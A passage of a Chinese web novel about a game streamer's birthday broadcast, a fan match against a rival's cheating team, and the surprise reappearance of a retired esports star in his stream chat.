他连手机都没带在身上,硬生生被堵了十几分钟。 “需要帮忙吗?”他问。 郁思白手还放在衣兜里,捏手机的力道紧了紧,面上已经彻底平静下来,嘴角略抬了一抬,重复了一遍。 “没事,我有合适的人选,会去邀请的。” 这样的答案似乎在季闻则的意料之外,他有一瞬的怔愣,但很快又重新勾起嘴角,挂上温和笑意。 “好,那还有什么要问的吗?”他说,语气不急不缓,显然是表示,你问多少,我就奉陪。 但郁思白抬起眉头,眨了下眼睛说:“没有了啊。” 他道:“就问一下你手那个伤是怎么回事,千万别是自己偷偷改花刀……没事了,我先回去睡觉了。” 说罢,转身走得毫不留恋,脚步冷静,和十几分钟前匆忙闯入的,好像两个人一样。 郁思白听见自己鞋底在走廊瓷砖上踩出咔哒咔哒的回声,心头情绪,却不想脚步一样不骄不躁。 他抿了抿唇,身侧的手用力握紧。 他性格一贯是冲动和逃避乱七八糟纠结在一起的,这次占上风的是冲动,但幸好有那通电话让他冷静下来……这个ICG签的对! 季闻则这个人,如果想遮掩肯定是能做到分毫不乱的,此男心机深沉,他这么故意露馅,肯定有他的心思。 不管猜测是真是假……他才不要上赶着,去做季闻则那种掀马甲的人! 理智上这样想,但总还是有些心痒难耐,被他深吸一口气,压了下去。 来吧季闻则……又或者是别的谁。 猜猜,明天的组排活动是谁没有被邀请? 再看看,着急的人到底会是谁- 次日一早,来度假的大半人都选择回了沪市,有些是成家立业了,难得的周末总要回去陪陪家人,其他的也怕留下来会给老板懒散的坏印象。 郁思白临近中午醒来的时候,就这么发现,昨晚还热热闹闹的庄园,今天就变成地广人稀的鬼片取景地了。 二组的人走了个干净,一组剩下几个胆大的元老,白天再玩一天,今天晚上的飞机回沪。 只有高向日和杨孟越忘崽夫妇俩表示,他们要当钉子户,直到周一上班。 “季闻……季老板人呢。”他问杨孟越。 杨孟越笑了一下:“要是工作时间我肯定知道,现在休假,季总的行程我是不敢过问的。” 高向日难得靠谱了一回,说:“应该是出去了,上午我晨跑的时候看见季总叫了辆车出门来着。” “可能是去处理邓工公司的事了。”杨孟越道。 原本她身为总助,也是应该跟着的,在京市的时候她作为季闻则副手也向来如此,但调来沪市之后,杨孟越发现这类可去可不去的外勤,季总很少让她跟着了。 简直像是……突然有了人性一样。 想到这儿,杨孟越又是轻笑道:“郁组长直接给季总发消息问,肯定更快。” 郁思白摆手,表示自己不在意,只是随口一问。 他去主楼的餐厅随便吃了点饭,下午远程跟进了一下渝市的工作,然后回到房间用笔记本开播。 ICG的比赛下午4点开始,他的生日直播要晚上8点,播都播了,厚此薄彼也不好,如果ICG能拿个开门红,那倒也是双喜临门。 只可惜天公不作美,ICG签运也算不上好,抽到打法很克他们的队伍,1:2遗憾输掉第一场比赛。 郁思白的直播间里,渐渐涌入了不少其他直播间的“难民”,想都不用想,别的直播间肯定已经骂成一团了,只剩Respit2这边管控严格,还算一片净土。 来都来了,郁思白也知道自己一个多月没出现,索性今天给大家播个够,ICG比赛结束之后,连着把下一个队伍的比赛也解说了,从4点整整播到八点半,嗓子都有点说哑了。 “生日直播?不急的,早点晚点不碍事,比赛解说重要。”郁思白喝了今天的第三瓶水,嗓子休息了一个多月,突然被这么高强度使用,还真是有点吃不消。 一直到九点看完了赛后群访,郁思白才把直播间名字改成了【Respit2的生日会ow<】,鼠标顺便划过旁边的分区实时人气排行,自己在第一位,甚至还压了官方直播间一点点。 tigerrr大概是刚刚开播,目前还在第五的位置。 郁思白早提前调试好了摄像头的位置,让镜头里只能框到自己胸口的位置,画面更多拍着键盘鼠标,和在家的角度大差不差。 切回来的时候,就看见弹幕窗里已经刷刷地开始滚动。 【生日快乐/撒花】 郁思白笑了笑,两手一扣,在摄像头前比了个爱心。 “谢谢大家!我们开始吧。” “今年的生日会都是ICG运营帮我筹备的,你们以前每年都说我提前看视频,都没新鲜感了……今年肯定有。”他说着,故作威胁道,“你们发誓,今年的生贺视频没给我塞什么奇怪的东西进去吧?” 几条三十块的醒目留言立刻冒出来,信誓旦旦说着不会的不会的。 郁思白只是嘴上说说,心里当然不会担心,视频都是运营审核过的,想必他们只会比自己把控得更严格。 自己报了个幕之后,他就点开运营发给自己的朋友们的祝福视频。 一张张带着亲切笑容的脸挤进屏幕,就好像全世界都要热情地凑上来跟他说一句“生日快乐”似的。 视频到最后,年纪最小、但长得最帅的kulu捧着一个小蛋糕缓缓走近,上面用巧克力酱写着“最帅的Respit2生日快乐”,蛋糕上象征性插着一根蜡烛,烛火摇曳,映照得他脸上的笑容和奶油一样甜。 【我嘞个甜豆梁路啊……】 【就是这人今天比赛三局砍了70个人还没赢吗】 【……他在微博说自己真的很想赢,然后在赛后采访给他白哥祝寿】 【?祝寿】 画面里,梁路一双眼睛闪亮亮的,认真看着屏幕说:“小白哥,我数三二一,数到一的时候,你就对屏幕吹蜡烛!” pupu带头,其余众人跟着喊, “三!” “二!” “一!” 呼—— 郁思白吹气,隔着屏幕,蜡烛应声而灭。 原来这就是运营说的赛博蜡烛吗。 这一瞬间,他才陡然有了“我过生日了”的实感。 事实上明天才是正日子,但也不妨碍他现在先收了祝福。 随着年岁渐长,生日好像慢慢从一个值得期待的日子,变成了一个干巴巴的符号,看到生日快乐四个字,也只是有一瞬间的开心而已,下一秒脑子里就要开始想稍后的直播内容,又或者是明天的工作。 今天好像格外不一样一些,或许是现在签了ICG,知道有运营帮衬,又或许明天休假、不用上班的原因…… 郁思白按下心头感慨,隔着屏幕谢了朋友们的祝福,也没多说什么感性的话,说多了反而显得矫情。 这时候,屏幕正中弹出一个华丽的礼物特效—— 【404 送出海底世界x1 特效正在全平台播放】 【404(醒目留言:1000):生日快乐,记得许愿】 【蛙趣榜一房管哥也回来了!】 【榜一哥还是那么有实力】 【对啊啊啊我刚刚就说,吹蜡烛没许愿啊!】 “谢谢……404的海底世界。”郁思白看着突然跳上榜一的id,顿了一下才回神,“没许愿……那现在补上?” 【唉算了你那愿望我都能背下来了】 【Execut2!Execut2!还是Execut2!(恨铁不成钢)】 【也不一定啊,今年多热闹,又是甜豆梁路又是榜一404的,我们res也是好起来了/大哭】 郁思白重新打开视频,把进度条往回拉到蜡烛还亮着的时候,双手交握放在胸前,摄像头正好能拍到的位置。 他闭上眼睛,脑海里闪过刚刚看到的、猜测他会不会改愿望的弹幕。 半晌,郁思白唇角往上微微挑了些,下巴轻抬,带着一种“你奈我何”的轻笑,固执开口。 “今年的愿望还是——想见Execut2。”末了,他又添油加醋地故意重复。 “希望明天一醒来,就能在家里看到我失踪七年的Execut2老公。” 弹幕被“好好好、祝你成功”铺满,夹杂其中的,还有格外突出的嘲笑。 【kulu&404:终究错付了/小丑.jpg】—— 作者有话说:本来想再往后写点的[爆哭]但是没时间了。加更已经欠很多了,我尽量下周努力给大家多还一些,尽可能再正文完结前还掉。实在还不完的话就多多给大家写番外! 知道大家很急看掉马,但是请允许我按照大纲再稍微写一点内容,不会很多了。着急的宝贝可以稍微屯几天,希望大家看的开心。 [猫爪] 第46章 郁思白说完后, 抬手摸了摸下巴,若有所思。 这也是刚刚冷不丁想起来的主意。 他记得梁路那小孩第一次见自己,被帮着复盘完一通后, 人高马大一个男生,就眼睛一弯开始甜腻腻地叫“哥哥”, 叫的郁思白浑身一抖, 立刻肃然说以后不要这样了。 梁路还有点委屈,可怜巴巴说:我听你直播……对卡神有好多称呼,就以为…… 郁思白敲了下小孩脑袋,告诉他:有些东西,在网上可以随便说得出口,但放到现实里能是一回事儿吗。 就是想到这儿, 郁思白刚刚才添油加醋地补了那么一句,想必也能让人浑身一抖。 被叫这种称呼, 你又当如何呢? 果然不出他所料, 他一句话才说完没几秒,贡献榜上第一位的【404】顿时就消失了, 像是吓跑,又或者是落荒而逃。 人在的时候琢磨着要开口说点什么,真把人吓跑了,又觉得心里哪出空落落的。 郁思白抿唇, 多看了两眼, 一攥拳, 心道。 不管是想装卡神、还是本尊诈尸……没有他去探的道理。 啊啊啊,忍住!郁思白! 就像游戏打进加时一样,越稳住,越能赢!- 庄园娱乐楼二层的台球室里, 一盏筒灯只映亮正中的球桌,上面台球齐齐整整,显然没被人动过。 季闻则坐在球桌边的沙发上,半合着眼懒懒看着手机,身上只借到零星的一点光,半张脸落在阴影里,显得冷峻。 突然,他呛咳出声,用手遮着下半张脸,把手机倒扣在沙发扶手上,掌心遮不到的地方,露出咳得染上颜色的耳朵。 半晌他才缓过来,表情哭笑不得。 郁思白……这小主播。 他知道他在说什么吗? ……算了,估计也是不懂。 季闻则轻叹了一口气,切出直播间打开微信,下一秒,脸上的笑容就渐渐落了下去。 生活手机的微信,到现在还是一片安静。 不是说要邀请人? 不是现役,也不是退役的那两个朋友。 总不能自爆马甲邀请小穆吧?他很厉害? 季闻则没忍住轻啧了一声,眉间挂了点愁绪,刚想切回直播间,就发现不知何时被后台自己清掉了。 他不由得想起薛简说他“老古板”的事——以前不觉得,现在头一次感到有点扎心。 难道真的已经是老古板了? 被冷落在一旁的工作手机偶尔苟延残喘地响一声,但都是些不大重要的工作消息。 季闻则原本想皱眉,但还是耐着性子回了两句。 等他设置好后台播放,再点开直播间的时候,就听见Respit2像一只斗胜的小公鸡,莫名哼哼两声,往后推起了流程。 “先抽个奖吧,两套外设,一个粉丝牌就可以参与抽奖。然后现在开始我们一年一度的水友赛!还是老规矩,低段位两把,高段位一把……” 弹幕顿时滚动得更快了。 【赫赫我就知道你低段位多一局,特意从超凡掉到黄金了】 【?这样挽尊】 【啊我以为这个环节要取消了】 【为啥】 【隔壁有人专门狙res】 【笑死,给他眼神干嘛】 …… 低段位的水友赛进行得十分顺利。欢欢喜喜闹了两局之后,成功带粉丝上了两次分的主播Respit2荣耀归来,换上了自己的大号。 弹幕时不时有人播报隔壁的情况。 据说tigerrr那边发动了十几个人一起狙Respit2,但是都失败了,他直播间原本看热闹的人也都跑了大半,眼见大势已去。 弹幕纷纷嘲笑,只有少部分人觉得危险还没解除。 季闻则也是这样想的。 低段位排的人多,狙到的可能性本就较小,但随着段位越高,平时排队时间都要好几分钟甚至更长,顶分局更是来来回回就那么几个人。这种情况下,十几个人齐上阵,想在高段位局狙到Respit2,几乎是板上钉钉的事儿。 往年一直要找pupu带着一起,大概也是防止有心人故意排到对面,带他节奏。 郁思白本来就不算技术主播,队友要是脾气急点,可真就是好事变坏事了。 季闻则又看了一眼半条新消息都没有的微信,指尖在木质的沙发扶手上轻敲,直播间里弹幕滚动得热火朝天。 【快开快开!带我上分!】 【我苦练枪法一年,这次我必抢到位置】 【尼玛,小时候玩抢凳子,大了还要玩赛博抢凳子】 【拼手速的时候到了!!】 “先别急。” 摄像头里,郁思白不知道什么时候也染上了同样的习惯,那只手竟然也和他一样轻轻在桌面点着,只不过是悠哉的节奏。 一边点,他一边语气不急不缓地说:“你们也知道的,往年都是蒲队,我们pupu宝来带上分,今年他忙着复盘,就没这种好事了啊。” “我呢,什么水平你们也知道。队里其他人枪法要是不好,真的带不动我,所以报名要慎重哦。” 【?不是你带我们】 【倒反天罡!】 【输了也没事不稀罕那点分,就想跟你玩】 【中译中:就想给你当狗】 【res你带我走罢不然我就似在这里/大哭】 【地雷男啊!】 【呃可是隔壁在狙你……】 【这种时候还要提别的男人的名字吗?】 【放心要是真排到对面我们就秒】 【秒屁啊?干/他们啊!】 “一共四个位置啊,我开抽奖了哦——” 这下季闻则的眉头是真皱起来了。 他不准备叫人一起? 一分钟后,Respit2一口气抽了四个幸运水友,陌生的id一个个跳进他的队伍,季闻则再一次切出来,换到微信。 眼看就要开始了,而他写着【Respit2】的聊天框里,仍然干干净净、清清白白得像块豆腐。 和空白聊天框形成鲜明对比的,是耳机里传出的四个幸运水友的快乐声音。 三男一女,先挨个给郁思白打了招呼,性格有开朗也有沉稳,但年纪大多不大,都自我介绍是大学生、研究生。 大概是粉随正主,郁思白都还没开口,四个人就百灵鸟似的叽叽喳喳成一团,整个直播间颇有种迎新春的氛围。 “卧槽我还有四十分钟就熄灯了,竟然能抽中!” “四十分钟也够打了,问题不大。” “没事儿res!上不上分的不重要,我们整活也好啊。” “要不一会儿玩个五烟阵容?” “哈哈哈行啊!” “我喷子玩的出神入化。” 【笑死了感觉主播被哈士奇包围】 郁思白忙着当点名老师,确认段位和没有胡乱顶替名额的情况后,振臂一呼。 “走!开车!” 组队语音里又是一阵狼嚎一样的应和。 五个人的段位相差不大,一个超凡,三个神话,一个辐能,刚排进去,就开始讨论要怎么打五烟。 忽然有个人“呃”了一声,犹豫着打断。 “等等,我看弹幕说……好像,咱们排到地雷了?” “我去那个t什么的直播间看了眼,好像是。”另一个人道。 众人齐齐沉默了一下,然后问:“要秒吗?” 秒的意思就是,组排的人现在退一个出去,这样系统就会判定这次对局取消,但秒的那个人要受到限制排位的一点惩罚。 郁思白说:“要秒的话我秒。” 还有四十分钟要熄灯的那个欲哭无泪,哽咽道:“能不秒吗?等惩罚时间结束,我可能就只能打半局了……” 听他这么可怜巴巴,队友立刻道:“也是,抽中一次不容易……算了,要不打呗?” “就是,咱也都是货真价实的超凡神话,怕啥。” “Respit2带出来的兵能怕这个?” “我焯,燃起来了!” 众人声音立刻认真起来。一个个报出自己擅长的位置,原本的快乐五烟阵容也默契地没再提起。 “我决斗吧,平时单排决斗上分的,大号辐能。” “先锋闪我都可以,ko专精。” “我可以玩烟,二突也行。” “我也是,放心res,绝对听指挥。” 最后郁思白补了哨位。 他们是防守方开局,大家齐心协力,队内气氛也好得不行,没有压力哥,每个人各司其职,对郁思白指挥的执行完全做到指哪打哪,配合更是行云流水。 【卧槽赏心悦目啊】 【感觉能去打次级联赛了你们】 【决斗不愧是辐能哥啊,这枪法能打五个re宝】 【res:?】 【这就是我们当年铂金段位被问要不要打职业的res神指挥啊hhh】 【是我想多了,这架势再怎么被狙排位都不怕啊】 很快,上半场结束。一共十二个回合,他们拿到了八分,最后更是连拿了四分,把对面打得昏头转向,自己士气正盛。 “我靠,幸好刚刚没玩搞耍的五烟阵容。”决斗位说,“这游戏有配合和没配合感觉真的差太多了,好久没打这么爽了!” 信息位附和:“兄弟你配合的也好啊,我跟你说我们玩先锋闪的在排位真的是人下人,队友把不沟通,道具呢又是要的,打了之后他还不满意,打好了也没人夸,真是……幸好有res,有人指挥就是不一样。” “哈哈哈对面主播就这?”烟位忍不住笑,“上半场开始还连拿两个手枪局,吓得我还以为多厉害呢,后来还不是被我们res大王全了?” “无敌的res大王!我们喜欢你!”刚拿二突打了个四杀的女生大声夸赞。 短暂的中场休息后,下半场开始。 众人一鼓作气准备进攻A点,结果没想到对面涌出五个人来,举着枪砰砰砰砰——连点四下,一枪一个头。 抱团进攻的四人转瞬即逝了,只剩下单摸中路的郁思白,还没来得及回头,也被一枪敲死。 队里安静了一秒,还是热情的东北决斗先“嘶”了一声。 “我瞅着,他们这是请神上身了呢。” “怎么突然变这么厉害了……一枪一个还全是头啊?真的假的。” “对面也是神话辐能段位的,也有可能吧……状态好了。” “没事没事,下把继续加油!” 队伍语音里大家面面相觑,说的还比较隐晦,但弹幕里的观众可管不了那么多体面。 【挂?】 【这是开了吧】 【刚刚那人停都没停一下就给人梆梆敲两枪头,正常吗?】 【也不好说,有些人的神/经枪看着确实像开了一样】 【继续看看吧】 接下来四把,郁思白他们作为进攻方,打哪个点,哪个点就是“正好”重防。点里面至少站了四个人,还有两个的枪法准得可怕,见面就宰,没见面也能宰,穿墙混烟无不精通,以一敌三都不落下风。 连着四把,进攻方连点都进不去,众人简直有种被关进四面不透风的房间的感觉,无论往哪边走,都是撞墙。 比分被从8:4追到8:8平。四把输下来,队里的火气再也压不住了,但大家性格都好,骂也只是完全的针对对面。 决斗忍不住咬牙道:“他*的,打不过就开?什么素质。” 烟位更是直白:“对面保底三个挂,枪法好的那两个是自瞄,估计挺高级的挂。还有人开的透。” 否则不可能把把都精准预测到他们的行动方向,就连什么时候转点,都好像尽在掌握一样。 郁思白直播还开了三秒的延迟,也用图片挡住了小地图防止窥屏,做到这种程度,对面还能每次都预判清楚的,除了开挂没有别的解释。 “举报举报。”信息位也一肚子火,骂道,“**的就是这帮挂狗把这游戏搞得乌七八糟。” “想狙想碰就大大方方来碰啊,打不过开挂算什么。”二突姑娘叹了口气说,“要是res也有神权就好了。” 众人都是一默。 官方会给一些职业选手、教练和大主播开一个独立的举报通道,普通玩家如果举报外挂,官方基本就是机器检测一次,很容易漏掉或误判,但这个独立举报通道可以直接让人工检测,效率和准确度都很高,被戏称为“神权”。 国服上线之后,官方发的第一个“神权”是给Execut2的。虽然这位压根还没来得及用一次,就销声匿迹了。 按理说,以Respit2这个体量,肯定会有这个权限。但他从不参加官方的线下活动,平时也没有跟官方深度绑定过,再加上平时自己打排位也不多,没跟官方申请权限,官方便也没有主动给他。 “pu神他们是不是有权限啊。”烟位说。 郁思白说:“他有,但是这个点他们应该还在赛后复盘……来我们再试一下,32分带试试。” 但人类是有极限的。 比分来到9:11的时候,一突已经点开公屏,又是一阵激烈的问候挂狗,被队友用地狱笑话打断:“兄弟冷静啊,别一会儿自己先因为骂人被封了……” 但话音刚落,对面开自瞄挂的那个人就回复道。 【单纯枪法好,**,res自己游戏打的跟区一样还让你们在这乱叫】 一突都气笑了,打字:【你觉得我瞎是吗?是个人都看得出来你什么货色】 几人商量了一下,决定也不跟挂狗多说,五个人就在出生点蹦蹦跳跳,随便跑跑图以防被判定消极游戏,就当纯聊天了。 郁思白还说:“这把打完我们去匹配打一把五烟?” “行啊行啊。” “我不行!!”要熄灯的人大喊。 郁思白道:“那下次打游戏你来,我赔你一局。” 这下其他几个又开始鬼哭狼嚎:“不行我也要!” “行!都打!”郁思白道,“过段时间我忙完恢复直播,我们再一起打一次。” 一突道:“成!我是真喜欢跟你们几个一块玩。” “哈哈上半场我有把死的特蠢,都没人骂我的。” “那肯定啊,喜欢res的能是什么坏人?” 打游戏遇见挂狗、还是这种很有恶意的挂狗,换谁心里都不会开心。 但四个好队友又弥补了这点。 这边正开着玩笑,公屏突然冒出来几行字。 【tigerrr:真没开挂,唉。res前辈,你也不能这么污蔑人……】 一突又绷不住了,怒道:“**!” 【tigerrr:这几个兄弟我都认识,他们就是很厉害的,曾经过了TUG青训】 【tigerrr:我毕竟也是被夸过的卡神严选,哈哈,这点技术和信誉还是有的啊。】 【tigerrr:res你也不用让kulu来骂我的,没必要】 kulu?这小孩不是应该在好好复盘吗? 郁思白心里咯噔一下,刚用手机点开tigerrr的直播间,就看到上面明晃晃挂着梁路30块的醒目留言。 【ICG-kulu:开挂是吧?你最好给我开着等,我已经发给蒲队了】 而下面的弹幕已经针对下午输掉的比赛,开始问候他本人和家人了。 郁思白心道坏了,立刻打开微信给梁路发消息。 【你怎么这会儿在看直播?】 【kulu:嘿嘿,复盘到一半饿了,出来拿点吃的。就顺便看一眼。】 【kulu:气死我了这帮人这么嚣张……小白哥你怎么也不跟我说啊。】 郁思白心里觉得奇怪,跟你说干什么。 【你个傻的,还笑得出来?】 【别掺和这事儿了,小心你们经理骂你】 【kulu:我不掺和,难道看着你就这么被骂?】 【kulu:下把拉我一起打,小白哥,我看他们敢不敢狙我】 【拉你干什么?拉你一块被骂?】 【行了梁路,你现在的当务之急是关掉直播,好好回去跟你队长复盘比赛】 【kulu:我不】 郁思白有点头疼,正想着怎么再劝劝,忽然只觉得余光里颜色变得一片赤红。 他下意识抬头,就发现屏幕已经变成了红底白字。 发现作弊者,已中止比赛。 愣了一下,郁思白问。 【对面红了,你举报的?】 【kulu:不是我啊……我还没走到训练赛跟队长说呢QAQ,谁抢我功】 【行,我要直播了,你回去复盘,回头再说,好好的,快去。】 说罢把手机扣到桌面上。 队伍语音里爆发出一阵欢呼。 “封的好啊!” “卧槽神权就是快!” “还好kulu巡视直播间……这下真的要叫小孩哥了。” 弹幕也纷纷大喜过望。 只有郁思白还游离在这场狂欢之外,挠了挠头:“kulu说不是他……” 【ICG-Execut2(醒目留言:1000):我点的】 【?】 【什么东西】 耳机里、弹幕里,霎时间全都停顿了一秒。 一突惊得说话都不带口音了:“……等下,我在res直播间看到谁了?” 紧接着,又是一条和封禁提示一样的赤红色醒目留言。 【ICG-Execut2(醒目留言:1000):没印象,没夸过,纯嘲讽】 郁思白愣了一下才反应过来,这大概是回应那句“被夸过的卡神严选”。 弹幕同样懵逼。 【啥意思,tigerrr主页那个聊天是假的?】 【真的吧……但意思可能是嘲讽?】 【不是现在是讨论别的男人的时候吗??】 【……?】 【啊??真的假的】 【这什么玩意在发sc我是熬夜熬出幻觉了?】 【惹,我上天堂了】 【是不是ICG官方套皮的啊……】 “肯定是ICG官方套皮的吧。” 与此同时,tigerrr的直播间里,胡啸在自己弹幕区看到有人说“Execut2给res发sc”之后,嗤笑了一声。 弹幕有人说他身为粉丝都不激动吗,胡啸略过没理。 他根本不是什么Execut2粉丝,公会给的好用人设罢了。 “虎哥早都跟你们说了,我认识人,有内部消息。Execut2已经彻底跟电竞圈割席了……” “对啊,不会再回来了,所以这个肯定是ICG官方的运营,哈哈。” “不可能?有什么不可能的啊。”胡啸道,“Execut2……卡神,卡神退役以后,各种账号都在ICG手里,一个工具而已,拿出来给自己旗下主播搞个剧本造个势,不是轻轻松松?” 他的弹幕显然也被这个理论说服,纷纷道。 【签了公会的就是不一样。】 【本来挺喜欢Respit2的,现在看来恐怕以后解说比赛也都是歪屁股了】 胡啸哈哈两声,看着自己直播间的流水蹭蹭上涨。有之前kulu带头,陆续有不少人也来发醒目留言骂他,然后自己的粉丝又用更大额的醒目留言骂回去。流水、人气都长势喜人,眼看就真的要赶上Respit2了。 ASHI公会给他承诺,如果他拿下年度主播的评选,就有一笔额外的奖金给他,到时候加上直播流水的分成…… 突然,弹幕区有人说。 【Execut2出现了】 【真的Execut2,在Respit2直播间】 【?还在骗】 胡啸嗤道:“一眼假。估计是看着马上要被我超了,骗你们过去给他加人气的——兄弟们别上当啊,最后再跟主播冲一波!” 一声令下之后,又是一波礼物潮。胡啸不由得想,自己当初为啥非要想不通去上那个班,就帮钱翀个忙,还被那个组长老板一块儿祸害成现在这样…… 等处理完方案那边的赔款,他可还要好好跟钱翀打一笔官司,不能白赔这笔钱才行。 可没等他畅想完,越来越多的弹幕开始刷屏。 【真的】 【卧槽是真Execut2】 【我服了tigerrr这才是没一句真话】 【愣着干什么?走啊!】 几乎几秒间,人气就断崖式地蹭蹭掉。 胡啸忽然有点慌了,他手忙脚乱拿起手机,用小号点进Respit2直播间。 刚刚组排的人临时有事退了一个,队伍里空出一个位置,此刻,屏幕右下角明晃晃地有个提示。 【ICG-Execut2申请加入队伍】 没等他看清,又覆盖了新的一条。 【ICG-Execut2申请加你为好友】 res没说话,鼠标在上面晃了晃,点了两下通过。 Execut2名字下面的喇叭标识亮了亮,响起一个声音。 “缺人排位?” 一瞬间,胡啸看见Respit2的直播间弹幕里,铺天盖地全是卧槽。 【res啊啊啊你啊啊啊啊】 【招魂七年成了?】 【???】 【卧槽这啥啊卧槽】 【res!!!你说话啊你别晕过去了!】 摄像头里,主播握在鼠标上的手松开又握紧,半晌,忽然轻笑了一下。 “我没告诉你啊,卡神。”他开口就是熟稔的语气,问,“你怎么来了?” 【?】 【你这张嘴里又在说什么恐怖的话?】 【不er,你俩也没告诉我啊?!】 第47章 【res!说话!】 【啊?这是Execut2?】 【听声音是挺像……】 【但现在ai想伪装一下也很简单吧】 【真的假的啊??】 郁思白目光略过弹幕, 轻轻挑眉,也跟着问:“真的假的啊?” “你猜?”语音里的人开口,声音被传输过来略有失真, 却更贴合印象里属于“Execut2”的音色,让郁思白晃了一下神。 很快他抿了下唇, 干脆:“不猜。” 看了眼弹幕, 郁思白转而念道:“什么怎么回事……我之前跟你们说过的呀,我有卡神微信。你们不信的。我很诚实。” “为什么有微信还装这么多年寡……呸,乱说什么。”他说,“就是ICG庆功宴那次才联系上的呀……对啊,那回不是都说了我们有微信吗?你们后来在不信什么?” 【因为你后来一点反应都没有啊】 【还以为卡神联系上你之后给你删了()】 【粉丝群你小子是一点也不看啊!】 【大家还担心你来着】 弹幕一阵情真意切,说得郁思白一阵心虚, 于是眸光一转,决定把矛头指向另一个人。 “卡神。”他喊了一声, 正要紧接着往下说话, 小喇叭就亮了亮。 “嗯?” 和他连着语音的人句句有回应。 …… 郁思白心脏重重跳了一下。 冷静冷静郁思白!你是最有出息的!忍!住! 他深吸了一口气,搭在键盘上的手攥了下拳, 努力不让自己的声音跟着心跳一起颤抖,平复了两秒才道。 “唔,两边都是你粉丝。卡神你现在出现在我这儿……唉,为难的话也没关系的。” 一句话被说出了慢悠悠抛出去的效果, 果然心虚是会像哈欠一样传递的, 他的好偶像沉默了一阵, 忽然轻嗤。 “他说是你就信?” 郁思白未置可否,只是闷闷哼笑了一声。 【……omg你在发出什么声音】 【草里的我外放直播室友问我谁在撒娇】 【不是,你俩有点太()了】 “澄清一下。”Execut2重复道,“确实回过他的消息。那会儿他托人找到我, 想问能不能打职业。” “他的账号……忘了。发表过什么言论他也清楚,我看他挺会带节奏的,就这么随口说了一句。” 【笑死了……《我家孩子能当童模吗》】 【好长一段话/呆滞.jpg】 【真不是卡神ai吗】 “他们说你是卡神ai。”郁思白道,“你这样不像的……卡神应该只甩一句:‘爱信不信。’” 【对的对的对味儿】 【疯狂点头】 【res真不愧是你啊,一出手就是一顿饭】 “嗯,如果是跟别人,我会这么说的。”Execut2说,“跟你就没什么好装的了吧。” 如果是跟别人…… 别人…… 跟你就没什么好装…… 跟你…… 你…… “至于tigerrr这个人,是来之前查了社交软件才想起来的,想来你要问,就特意查一下。” 屏幕上突然冒出一长串“qqqq……”,一直拖着长尾巴直到输入栏的极限,然后发出叮叮咚咚的报错声。 郁思白的手指下意识扣住了键盘,他猛地松开,用鼠标点掉跳出来的输入法。 弹幕窗已经被问号占领。 【???】 【不对吧这不对吧】 你疯了? 郁思白差点脱口而出,可刚张嘴,就听Execut2又岔开了话题。 “至于这个tigerrr本人,我也见过,在案件卷宗上。他现在是取保候审阶段,不过下一步也快了。” 弹幕也是瞬间被带跑。 【啊?啊??】 【卧槽法制咖啊……】 娱乐楼一楼的电竞房里,偌大的联排电脑前只坐了季闻则一个人,戴着耳机,双腿交叠,姿势放松地后靠在电竞椅里,微合着眼思考。 他可能猜到郁思白原本的想法了——这人始终都觉得,即使真的被狙到也没关系。 首先是不一定就打不过对面,其次,就算输了,tigerrr也总要进去,到那时候,“年度数博入狱”这件事儿只会闹得更大。 只是郁思白低估了对面的不要脸程度,没算到对面开挂,也完全没把他自己要挨的骂算进去。 又在搞他那套自/杀式袭击…… 季闻则睁眼,眼底压着一点火,唇角却无奈地抿着。 能怎么办,他是最没理由发火的那个,但幸好也有个出气筒。 他低头看了眼手机,几小时前集团的律师回复他说,最新证据已经提交上去了,警方会尽快实施抓捕- 听见Execut2的声音在Respit2直播间响起的瞬间,胡啸呼吸一滞,立刻关了麦克,满腔火气地发语音质问自己的staff。 “你们不是说Execut2不可能回来吗?!” staff显然也在关注这件事,十分淡定地回他:“ICG想炒作而已。” “所以是真的假的?”tigerrr咬牙问。 “淡定点tigerrr。”staff道,“你拿下年度以后就是我们的当家主播了,我们还能害你吗?” staff画的饼让胡啸渐渐冷静下来,这时直播间跳水的人数也渐渐稳定下来,留下的观众口径也渐渐统一,在讨论被红屏监测出外挂的事。 红屏落下后,tigerrr本人的账号并没有收到封禁通知,也就是说开挂的不是他。 这时一条10块钱的醒目留言冒了出来,发消息的是刚刚队里的“水友”之一。 【抱歉虎哥,就是看对面男同不顺眼,我开的,我一人做事一人当。】 这也是ASHI给他安排的人,这时候跳出来吸引火力,tigerrr彻底松了口气,定了定神开口。 “兄弟,你……唉。”tigerrr故作惊讶,然后叹气。 弹幕也纷纷表示原谅。 【没事的兄弟】 【特殊情况,都不怪你】 【吃男同流量的真的恶心】 【我看Execut2也是受不了了才出来的吧】 【还不知道是真是假呢】 “哈哈。”tigerrr笑道,“相信虎哥情报。卡神和Founder、foun神,同赛区加前后辈,关系够近了吧,foun神的电竞项目Execut2都拒绝了……做什么的?那我就不好跟你们说了。” 实则是自己也不知道。这消息也是ASHI公会那边透露给他的,让他照着说就行。 “所以说啊,大概率应该就是联合ICG官方那边,搞的一个剧本了。”tigerrr说。 “如果Respit2真有本事,能把Execut2招魂到嘉年华上露个脸,那才真的算他功德一件。” 【哈哈哈有点白日做梦了】 【那我直播吃】 弹幕也偶尔有两个理智路人提出质疑。 【Respit2不搞这些吧】 【他要是真接受剧本,早签直播公会了】 【Respit2真不是,不然以前被别的公会骂清高不是白骂了hhh】 “错了,错了啊。不要被表象骗了。”tigerrr重重叹气,“你们知道Respit2这种像什么吗?像我一前领导。” “也不是多大的官,就一小领导吧。和公司新来的大领导厮混在一起,然后给我们放陷阱……唉反正看着特清高冷淡的,谁知道私底下怎么谄媚讨好老板呢?” 胡啸慢慢悠悠说着,也压根不怕公司的人会看自己直播,在他看来,这都是众人心照不宣的事儿,他不信别人没意见,只不过不敢说而已。 他说完,侧头去看弹幕,准备欣赏满屏的赞同,目光一扫过去,却陡然一骨碌坐直了。 【这回真不是钓鱼,隔壁Execut2说主播是法制咖啊】 【说主播现在取保候审】 【卧槽,tigerrr之前确实消失了一周多啊】 胡啸刚才缝补好的冷静,顿时又溃不成军,他抓过麦克就说:“Respit2之前还消失一个多月呢!他说忙工作你们就信?” 【搞设计的不就这样?】 【多正常啊,也就你不加班了虎子】 “搞设计……Respit2也是搞设计的?” 【对啊,应该是一个蛮有名的公司小头儿,具体哪个地方就不知道了,反正现实里挺牛逼的】 【还是清大毕业,这是pupu说的】 胡啸忽然觉得天旋地转,他再次打开Respit2的直播间,这次都忘记关自己的麦克。 Respit2和Execut2的聊天声就这么传进他的耳朵,也传进他的直播间。 听着听着,胡啸突然觉得这两个人一唱一和的声音有些耳熟,这个场面……也很熟悉。 熟悉到他还没匹配上画面,就先一步开始头皮发麻的地步。 